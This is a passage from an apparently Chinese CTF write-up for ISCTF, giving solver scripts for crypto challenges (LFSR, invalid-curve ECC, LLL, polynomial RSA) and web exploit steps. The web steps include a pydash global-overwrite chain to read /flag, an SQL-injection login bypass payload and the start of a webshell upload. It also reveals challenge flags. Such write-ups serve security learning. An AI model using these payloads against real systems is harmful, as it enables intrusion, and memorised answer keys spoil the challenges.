c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

p1 = 127
p2 = 841705194007
p3 = n // (p1 * p2)

assert n == p1 * p2 * p3
assert isPrime(p1)
assert isPrime(p2)
assert isPrime(p3)

phi = (p1 - 1) * (p2 - 1) * (p3 - 1)
exp = pow(2, t, phi)
l = pow(2, exp, n)
m_int = c ^ l
flag = long_to_bytes(m_int)

print(f&quot;Flag: {flag.decode()}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;小蓝鲨的LFSR系统&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import secrets
import binascii

def simple_lfsr_encrypt(plaintext, init_state):
    mask = [random.randint(0,1) for _ in range(128)]
    
    state = init_state.copy()
    for _ in range(256):
        feedback = sum(state[i] &amp;amp; mask[i] for i in range(128)) % 2
        state.append(feedback)
    
    key = bytes(int(&apos;&apos;.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2) 
               for i in range(16))
    
    keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
    return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题的漏洞非常明显，属于&lt;strong&gt;逻辑漏洞&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;无效的复杂运算&lt;/strong&gt;：中间那段长达 256 次循环的 LFSR &lt;code&gt;state&lt;/code&gt; 更新逻辑完全是无用的。加密密钥只依赖于 &lt;code&gt;mask&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密钥泄露&lt;/strong&gt;：函数在返回密文的同时，竟然直接返回了 &lt;code&gt;mask&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;因为 &lt;code&gt;key&lt;/code&gt; 是由 &lt;code&gt;mask&lt;/code&gt; 生成的。&lt;/li&gt;
&lt;li&gt;所以，攻击者可以直接拿到 &lt;code&gt;mask&lt;/code&gt; -&amp;gt; 还原出 &lt;code&gt;key&lt;/code&gt; -&amp;gt; 解密密文。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from z3 import *
import binascii

initState = 
outputState = 
ciphertext_hex = 

# 关键修正：拼接完整的 LFSR 流
stream = initState + outputState 

# 2. Z3 求解 Mask
solver = Solver()
mask = [Int(f&apos;m_{i}&apos;) for i in range(128)]

# 约束：Mask 只能是 0 或 1
for m in mask: solver.add(Or(m == 0, m == 1))

# 约束：根据完整流建立方程
# stream[i...i+127] * mask = stream[i+128]
for i in range(128): 
    dot = Sum([mask[j] * stream[i + j] for j in range(128)])
    solver.add(dot % 2 == stream[i + 128])

# 3. 解密执行
if solver.check() == sat:
    m_vals = [solver.model()[m].as_long() for m in mask]
    print(&quot;[+] Mask found!&quot;)
    
    # 还原 Key
    key = bytes(int(&apos;&apos;.join(str(b) for b in m_vals[i*8:(i+1)*8]), 2) for i in range(16))
    
    # 解密
    ct = binascii.unhexlify(ciphertext_hex)
    keystream = (key * (len(ct)//16 + 1))[:len(ct)]
    flag = bytes(c ^ k for c, k in zip(ct, keystream))
    
    print(f&quot;[+] FLAG: {flag.decode(errors=&apos;ignore&apos;)}&quot;)
else:
    print(&quot;[-] No solution found.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;沉迷数学的小蓝鲨&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;y² = x³ + 3x + 27 (mod p)

Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)

k= ?

最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先，我们观察给出的参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f$。这是 &lt;strong&gt;secp256k1&lt;/strong&gt; 的素数域 $p$。&lt;/li&gt;
&lt;li&gt;题目未给出 $G$，但根据 $p$ 和题目背景，我们可以假设 $G$ 是 secp256k1 的标准基点。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;验证点是否在曲线上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们将给定的 $Q$ 和标准 $G$ 代入题目给出的方程 $y^2 = x^3 + 3x + 27$ 进行验证，发现它们&lt;strong&gt;都不在&lt;/strong&gt;该曲线上。&lt;/p&gt;
&lt;p&gt;计算实际满足的 $b$ 值：
$$b&apos; = y^2 - (x^3 + 3x) \pmod p$$&lt;/p&gt;
&lt;p&gt;通过计算发现，对于 $G$ 和 $Q$，计算出的 $b&apos;$ 是相同的。这意味着虽然题目宣称曲线是 $b=27$，但实际的点运算是在一条 $b = b&apos;$ 的曲线上进行的。&lt;/p&gt;
&lt;p&gt;这是一个典型的 &lt;strong&gt;Invalid Curve Attack&lt;/strong&gt;（错误曲线攻击）场景，或者更准确地说是题目使用了一个弱曲线参数但未做检查。&lt;/p&gt;
&lt;p&gt;我们需要在实际曲线 $E&apos;: y^2 = x^3 + 3x + b&apos; \pmod p$ 上求解离散对数问题（DLP）：$Q = kG$。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;计算曲线的阶（Order）&lt;/strong&gt;：
使用 SageMath 计算 $E&apos;$ 的阶，发现它不是一个大素数，而是包含许多小素数因子：
$$Order = 2 \times 3^2 \times 7 \times 53 \times 4733 \times \dots$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pohlig-Hellman 攻击&lt;/strong&gt;：
由于阶是光滑的（Smooth），我们可以利用 Pohlig-Hellman 算法，分别在每个小素数因子的子群上求解 DLP，最后通过中国剩余定理（CRT）恢复出 $k$。&lt;/p&gt;
&lt;p&gt;实际上，在这个题目中，$k$ 的值非常小，直接使用 SageMath 的 &lt;code&gt;discrete_log&lt;/code&gt; 函数甚至能在瞬间解出。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sage.all import *
import hashlib

# secp256k1 参数
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8

# 题目给出的 Q
Qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080

a = 3

# 1. 计算实际的 b&apos;
# 既然 Q = kG，那么它们必须在同一条曲线上。
# 我们用 G 来恢复这条曲线的 b 参数。
b_prime = (Gy**2 - (Gx**3 + a*Gx)) % p
print(f&quot;Actual b: {b_prime}&quot;)

# 2. 构造实际曲线
E = EllipticCurve(GF(p), [a, b_prime])
G_point = E(Gx, Gy)
Q_point = E(Qx, Qy)

# 3. 计算阶并查看因子
order = E.order()
print(f&quot;Curve Order: {order}&quot;)
print(f&quot;Factors: {factor(order)}&quot;)

# 4. 求解 DLP
# 由于阶是光滑的，Sage 会自动使用 Pohlig-Hellman 算法
k = G_point.discrete_log(Q_point)
print(f&quot;Found k: {k}&quot;)

# 5. 生成 Flag
# 将 k 值的 16 进制转换为 32 位 md5
k_hex = hex(k)[2:]
print(f&quot;k (hex): {k_hex}&quot;)

flag_hash = hashlib.md5(k_hex.encode()).hexdigest()
print(f&quot;Flag: ISCTF{{{flag_hash}}}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;baby_math&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import bytes_to_long

print(len(flag)) 
R = RealField(1000)
a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])
x   = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
enc = a*cos(x)+b*sin(x) 
#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个典型的&lt;strong&gt;整数关系问题 (Integer Relation Problem)&lt;/strong&gt;。我们已知实数 $\cos(x)$, $\sin(x)$ 和 $enc$，并且存在整数 $a, b$ 满足线性关系：&lt;/p&gt;
&lt;p&gt;$$a \cdot \cos(x) + b \cdot \sin(x) - enc \approx 0$$&lt;/p&gt;
&lt;p&gt;这类问题通常可以使用 &lt;strong&gt;格基规约 (Lattice Reduction)&lt;/strong&gt; 算法，如 &lt;strong&gt;LLL 算法&lt;/strong&gt; 来求解。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;格的构造&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们构造一个格，使得目标向量（包含 $a$ 和 $b$）是格中的一个短向量。
考虑以下基向量：
$$v_1 = (1, 0, \lfloor K \cdot \cos(x) \rfloor)$$
$$v_2 = (0, 1, \lfloor K \cdot \sin(x) \rfloor)$$
$$v_3 = (0, 0, \lfloor K \cdot enc \rfloor)$$&lt;/p&gt;
&lt;p&gt;其中 $K$ 是一个很大的常数，用于保留实数的小数部分信息。&lt;/p&gt;
&lt;p&gt;如果我们对这些基向量进行线性组合：$$V = a \cdot v_1 + b \cdot v_2 - 1 \cdot v_3$$&lt;/p&gt;
&lt;p&gt;得到的向量 $V$ 为：$$V = (a, b, a \cdot \lfloor K \cos(x) \rfloor + b \cdot \lfloor K \sin(x) \rfloor - \lfloor K \cdot enc \rfloor)$$&lt;/p&gt;
&lt;p&gt;忽略取整带来的微小误差，第三个分量近似为：$$K \cdot (a \cos(x) + b \sin(x) - enc)$$&lt;/p&gt;
&lt;p&gt;根据题目方程，括号内的值非常接近 0。因此，向量 $V$ 近似为 $(a, b, 0)$。
相对于格基中其他巨大的向量（包含 $K$ 的分量），向量 $V$ 的长度非常小（$a, b$ 只有几百比特）。因此，LLL 算法可以将这个短向量找出来。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;精度与参数 K 的选择&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目中给出的 &lt;code&gt;enc&lt;/code&gt; 是一个高精度浮点数的字符串表示。我们需要注意 &lt;code&gt;enc&lt;/code&gt; 的&lt;strong&gt;有效精度&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提供的 &lt;code&gt;enc&lt;/code&gt; 字符串长度约为 304 字符。&lt;/li&gt;
&lt;li&gt;如果 $K$ 取得太大（超过了 &lt;code&gt;enc&lt;/code&gt; 的精度），噪声会被放大，导致无法找到正确的整数关系。&lt;/li&gt;
&lt;li&gt;如果 $K$ 取得太小，可能无法区分出唯一的整数解。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;经过测试，选取 $K = 10^{260}$ 可以成功恢复出 $a$ 和 $b$。&lt;/p&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sage.all import *
from Crypto.Util.number import long_to_bytes

# 题目给出的数据
x_val_str = &quot;0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100&quot;
enc_val_str = &quot;1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52&quot;

# 设置高精度环境
R = RealField(2000)
x = R(x_val_str)
enc = R(enc_val_str)

# 构造格
# 这里的 K 需要根据 enc 的精度进行调整。
# enc 大约有 300 位，但有效精度受到最后一位的限制。
# 我们选择 10^260 作为缩放因子。
K = 10**260

M = Matrix(ZZ, [
    [1, 0, floor(K * cos(x))],
    [0, 1, floor(K * sin(x))],
    [0, 0, floor(K * enc)]
])

# 使用 LLL 算法进行格基规约，并获取变换矩阵
# 变换矩阵 U 告诉我们基向量是如何组合的
B, U = M.LLL(transformation=True)

# 寻找解
# 我们寻找的是 a*v1 + b*v2 - 1*v3 (或 +1*v3) 的组合
# 所以我们检查变换矩阵 U 的每一行，看哪一行的第三个系数是 1 或 -1
for i, u_row in enumerate(U):
    if abs(u_row[2]) == 1:
        # 对应的第一列和第二列就是 a 和 b
        a_cand = abs(int(B[i][0]))
        b_cand = abs(int(B[i][1]))
        
        try:
            part1 = long_to_bytes(a_cand)
            part2 = long_to_bytes(b_cand)
            full_flag = part1 + part2
            if b&apos;flag&apos; in full_flag or b&apos;ISCTF&apos; in full_flag:
                print(f&quot;Found Flag: {full_flag.decode()}&quot;)
        except Exception as e:
            pass
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;小蓝鲨的密码箱&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开题目链接，我们可以看到一个“字符串加密服务”的页面。
页面要求用户输入三个参数 a 、 b 、 c 以及一段想要加密的文本 text 。&lt;/p&gt;
&lt;p&gt;点击“加密”后，服务器会返回以下信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原文 : 你输入的 text 。&lt;/li&gt;
&lt;li&gt;密文 : 你输入的 text 加密后的十六进制数据。&lt;/li&gt;
&lt;li&gt;Flag : Flag 的密文 （这是关键点）。&lt;/li&gt;
&lt;li&gt;使用的参数 : 你刚刚输入的 a , b , c 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;漏洞发现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这道题的核心漏洞在于： 服务器使用用户提供的参数 a , b , c 来加密 Flag。&lt;/p&gt;
&lt;p&gt;这意味着我们不需要破解原本复杂的加密算法，也不需要知道服务器默认的密钥。我们只需要构造一组特殊的参数，使得加密逻辑变得极其简单（线性或可逆），从而直接反推 Flag。&lt;/p&gt;
&lt;p&gt;通过简单的测试（例如输入 text=&quot;A&quot; ），我们可以推测加密逻辑大致为：$$ E(x) = (x^a + b) \pmod c $$或者类似的模运算逻辑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们要构造一组参数，让加密过程变成简单的“位偏移”或者“原文输出”。&lt;/p&gt;
&lt;p&gt;如果我们设置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a = 1 (保持 $x$ 的一次方)&lt;/li&gt;
&lt;li&gt;b = 1 (简单的加法偏移)&lt;/li&gt;
&lt;li&gt;c = 1000 (模数足够大，避免 ASCII 字符在运算后发生卷绕/溢出)
此时加密函数变为：
$$ E(x) = (x^1 + 1) \pmod{1000} = x + 1 $$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，每个字符的 ASCII 码值只增加了 1。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;发送 Payload :
在网页表单中输入：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a : 1&lt;/li&gt;
&lt;li&gt;b : 1&lt;/li&gt;
&lt;li&gt;c : 1000&lt;/li&gt;
&lt;li&gt;text : test (任意内容)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;获取回显 :
服务器返回的 Flag 密文（Hex）为： 4a 54 44 55 47 7c 38 ...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解密 :
由于加密逻辑是 $x + 1$，解密逻辑就是 $x - 1$。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0x4a (74) -&amp;gt; 73 (&apos;I&apos;)&lt;/li&gt;
&lt;li&gt;0x54 (84) -&amp;gt; 83 (&apos;S&apos;)&lt;/li&gt;
&lt;li&gt;0x44 (68) -&amp;gt; 67 (&apos;C&apos;)&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;小蓝鲨的RSA密文&lt;/h2&gt;
&lt;p&gt;原题里有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c = (m**3 + a2*m**2 + a1*m + a0) % N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;m&lt;/code&gt; 是 16 字节 AES key 转成的整数，最多 $$2^{128}$$&lt;/li&gt;
&lt;li&gt;$$m^3 \le 2^{384}$$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a2&lt;/code&gt; 大约是 $$2^{40} $$ 量级，&lt;code&gt;a2*m^2&lt;/code&gt; 约 $$2^{296}$$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a1*m&lt;/code&gt;、&lt;code&gt;a0&lt;/code&gt; 更小&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 NNN 是 1024 位的大数（≈21024\approx 2^{1024}≈21024）。
所以整个多项式值远小于 NNN，&lt;strong&gt;不会发生模回绕&lt;/strong&gt;，于是直接有：&lt;/p&gt;
&lt;p&gt;$$c = m^3 + a2 m^2 + a1 m + a0 \quad (\text{作为普通整数等式})$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 利用已知的高位信息约束 m 的范围&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;已知：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a2_high = a2 &amp;gt;&amp;gt; LOW_BITS   # LOW_BITS = 16
a2_high = 9012778
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以：$$a2 \in [a2_{\text{high}} \cdot 2^{16}, (a2_{\text{high}}+1)\cdot 2^{16})$$&lt;/p&gt;
&lt;p&gt;另一方面，由等式：$$c = m^3 + a2 m^2 + a1 m + a0$$&lt;/p&gt;
&lt;p&gt;移项得到：$$c - m^3 - a1 m - a0 = a2 m^2$$&lt;/p&gt;
&lt;p&gt;把 $$a2$$ 的区间代入：$$a2_{\text{high}} \cdot 2^{16} \cdot m^2  \le c - m^3 - a1 m - a0  &amp;lt; (a2_{\text{high}}+1)\cdot 2^{16} \cdot m^2$$&lt;/p&gt;
&lt;p&gt;记：$$H_1(m) = c - m^3 - a2_{\text{high}}\cdot 2^{16} m^2 - a1 m - a0$$&lt;/p&gt;
&lt;p&gt;$$H_2(m) = c - m^3 - (a2_{\text{high}}+1)\cdot 2^{16} m^2 - a1 m - a0$$&lt;/p&gt;
&lt;p&gt;则我们要的 mmm 满足：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$$H_1(m) \ge 0$$&lt;/li&gt;
&lt;li&gt;$$H_2(m) &amp;lt; 0$$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;又因为这两个函数在 m≥0m \ge 0m≥0 时都是单调递减的（主导项是 −m3-m^3−m3），所以各自都有唯一根 r1,r2r_1, r_2r1,r2：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$$H_1(m) \ge 0 \Rightarrow m \le r_1$$&lt;/li&gt;
&lt;li&gt;$$H_2(m) &amp;lt; 0 \Rightarrow m &amp;gt; r_2$$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是 $$m \in (r_2, r_1]$$ 这个区间里。&lt;/p&gt;
&lt;p&gt;对$$H_1, H_2$$ 分别在区间$$[0,2^{128}] $$上做二分，找到“最后一个使 $$H_i(m)\ge 0$$的整数”：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m1 = 155455820692697783953491152103673434341
m2 = 155455820692697783953491152103673412496
m1 - m2 = 21845  # = 0x5555
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以只要枚举这 &lt;strong&gt;2 万多&lt;/strong&gt; 个 m 值就行了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 从 m 反解 a2，筛出唯一解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对每个候选 m：&lt;/p&gt;
&lt;p&gt;$$a2 = \frac{c - m^3 - a1 m - a0}{m^2}$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;要求分子能被 $$m^2$$ 整除（否则 $$a2$$不是整数）&lt;/li&gt;
&lt;li&gt;并且 $$(a2 &amp;gt;&amp;gt; 16) == a2_high$$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样筛完只剩下唯一的一对：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m  = 155455820692697783953491152103673430935
a2 = 590661429227
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m**3 + a2*m**2 + a1*m + a0 == c  # True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. 解出 AES key，解密得到 flag&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;m&lt;/code&gt; 是从 16 字节 &lt;code&gt;aes_key&lt;/code&gt; 转来的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = m.to_bytes(16, &apos;big&apos;)
# key = b&apos;t\xf3\xb3\xb6\xef\xafcO\x06\xd6V\xa3\xf5\xc8\x03\x97&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后用题里给的 &lt;code&gt;iv&lt;/code&gt; 和 &lt;code&gt;ct&lt;/code&gt; 做 AES-CBC 解密、去 padding：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cipher = AES.new(key, AES.MODE_CBC, iv=iv)
pt_padded = cipher.decrypt(ct)
pt = unpad(pt_padded, 16)
# b&apos;ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;Who am I&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;信息收集&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;访问目标网站，在登录逻辑或通过扫描中发现了一个异常的重定向或隐藏路径。最终在 /272e1739b89da32e983970ece1a086bd 路径下发现了 Python Flask 应用的源代码泄漏。&lt;/p&gt;
&lt;p&gt;**2. 源码分析 **&lt;/p&gt;
&lt;p&gt;通过审计泄露的 app.py (或者页面上显示的 mian.py )，发现了两个关键的漏洞点：&lt;/p&gt;
&lt;p&gt;漏洞点 A: 全局变量覆盖 (/operate)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/operate&apos;,methods=[&apos;GET&apos;])
def operate():
    username=request.args.get(&apos;username&apos;)
    password=request.args.get(&apos;password&apos;)
    confirm_password=request.args.get(&apos;confirm_password&apos;)
    # 关键点：如果 username 在 globals() 全局变量中，就使用 
    pydash.set_ 修改其属性
    if username in globals() and &quot;old&quot; not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return &quot;oprate success&quot;
        except:
            return &quot;oprate failed&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码允许攻击者通过 pydash.set_ 修改当前运行环境中任意全局对象的属性。例如，我们可以修改 app (Flask实例) 内部的配置。&lt;/p&gt;
&lt;p&gt;漏洞点 B: 受限的文件包含/模板渲染 (/impression)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/impression&apos;,methods=[&apos;GET&apos;])
def impression():
    point=request.args.get(&apos;point&apos;)
    # 限制长度不能超过5
    if len(point) &amp;gt; 5:
        return &quot;Invalid request&quot;
    # 过滤了特殊字符，无法使用目录穿越 ../ 或 /
    List=[&quot;{&quot;,&quot;}&quot;,&quot;.&quot;,&quot;%&quot;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;,&quot;_&quot;]
    for i in point:
        if i in List:
            return &quot;Invalid request&quot;
    return render_template(point)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里存在一个受限的 LFI (Local File Inclusion)。虽然 render_template 可以渲染文件，但由于过滤了 . 和 / 且长度限制在 5 以内，我们无法直接通过 ../../flag 或 /flag 来读取 flag。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 漏洞利用思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要利用 全局变量覆盖 来配合 受限的模板渲染 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;突破路径限制 ：
由于 /impression 无法输入路径（只能输入文件名），我们需要改变 Flask 寻找模板的“根目录”。
Flask 使用 Jinja2 作为模板引擎，其加载器 ( jinja_loader ) 有一个 searchpath 属性，是一个列表，存储了查找模板的目录路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击链 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用 /operate 接口，将 app.jinja_loader.searchpath 的第一个元素（索引 0）修改为系统根目录 / 。&lt;/li&gt;
&lt;li&gt;利用 /impression 接口，请求渲染名为 flag 的模板。&lt;/li&gt;
&lt;li&gt;此时，Flask 会在搜索路径（即 / ）下查找名为 flag 的文件，从而成功加载 /flag 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4. 解题步骤 (Solution)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一步：修改 Jinja2 模板搜索路径&lt;/p&gt;
&lt;p&gt;发送请求将 searchpath[0] 修改为 / 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL : /operate&lt;/li&gt;
&lt;li&gt;Payload :
&lt;ul&gt;
&lt;li&gt;username : app (目标全局变量)&lt;/li&gt;
&lt;li&gt;password : jinja_loader.searchpath.0 (目标属性路径)&lt;/li&gt;
&lt;li&gt;confirm_password : / (目标值)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://challenge.bluesharkinfo.com:24577/operate?
username=app&amp;amp;password=jinja_loader.searchpath.0&amp;amp;
confirm_password=/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;预期响应 : oprate success&lt;/p&gt;
&lt;p&gt;第二步：读取 Flag&lt;/p&gt;
&lt;p&gt;发送请求渲染 flag 文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL : /impression&lt;/li&gt;
&lt;li&gt;Payload :
&lt;ul&gt;
&lt;li&gt;point : flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://challenge.bluesharkinfo.com:24577/impression?
point=flag&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;flag到底在哪&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;信息收集&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;访问题目链接 &lt;code&gt;http://challenge.bluesharkinfo.com:24038/&lt;/code&gt;，直接返回 &lt;strong&gt;403 Forbidden&lt;/strong&gt;，提示可能是爬虫限制或权限问题。&lt;/p&gt;
&lt;p&gt;常规思路检查 &lt;code&gt;robots.txt&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /robots.txt HTTP/1.1
Host: challenge.bluesharkinfo.com:24038
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /admin/login.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现隐藏的后台登录地址 &lt;code&gt;/admin/login.php&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. SQL 注入绕过登录&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;http://challenge.bluesharkinfo.com:24038/admin/login.php&lt;/code&gt;，是一个管理员登录界面。
尝试使用常见的 SQL 注入万能密码进行测试。&lt;/p&gt;
&lt;p&gt;在密码框输入以下 Payload 成功绕过登录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username&lt;/strong&gt;: &lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password&lt;/strong&gt;: &lt;code&gt;1&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;登录成功后，页面显示一个文件上传表单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;📤 上传 PHP Webshell&amp;lt;/h2&amp;gt;
&amp;lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. 文件上传 GetShell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用 Python 脚本保持 Session 并上传 Webshell。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
